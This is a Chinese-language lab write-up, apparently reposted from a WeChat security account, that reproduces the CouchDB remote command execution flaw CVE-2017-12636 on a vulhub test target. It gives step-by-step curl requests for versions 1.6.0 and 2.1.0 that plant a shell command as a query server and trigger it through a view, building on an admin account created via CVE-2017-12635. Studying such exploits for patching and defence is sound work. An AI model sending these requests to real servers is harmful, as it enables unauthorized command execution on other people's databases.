漏洞简介
ApacheCouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。
在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一个任意命令执行漏洞，我们可以通过config api修改couchdb的配置query_server，这个配置项在设计、执行view的时候将被运行。
影响版本
小于 1.7.0 以及 小于 2.1.1
漏洞复现
依然选择用现成的靶场，开启服务，服务开启后访问http://your-ip:5984
目前木有管理员的账号和密码，首先我们通过CVE-2017-12635漏洞增添一个users，账号和密码均为vulhub
- 1.6.0下的说明
依次执行以下请求以触发任意命令execHere, vulhub:vulhub是管理员帐户和密码。
curl -X PUT '[http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd](http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd)' -d '"id >/tmp/success"'
#添加一个query_servers，其名称为cmd，值为“id >/tmp/success”，这是我们稍后要执行的命令。
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
#添加数据库和文档，只有在添加到这里之后才能查询
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language": "cmd", "map":""}' -H 'Content-Type: application/json'
在这个数据库中执行查询，使用我在第一步中添加的名为cmd的query_servers，最后触发命令执行。
- 2.1.0下的说明：
2.1.0中修改了我上面用到的两个API，这里需要详细说明一下。
Couchdb 2.x 引入了集群，所以修改配置的API需要增加node name。这个其实也简单，我们带上账号密码访问/_membership即可：
curl http://vulhub:vulhub@your-ip:5984/_membership
可见，我们这里只有一个node，名字是nonde@nohost。然后，我们修改nonde@nohost的配置：
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
然后，与1.6.0的利用方式相同，我们先增加一个Database和一个Document：
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'Couchdb 2.x删除了_temp_view，所以我们为了触发query_servers中定义的命令，需要添加一个_view:
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"然后将执行query_servers中的命令。
原文始发于微信公众号（巢安实验室）：Couchdb任意命令执行漏洞 (CVE-2017-12636)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论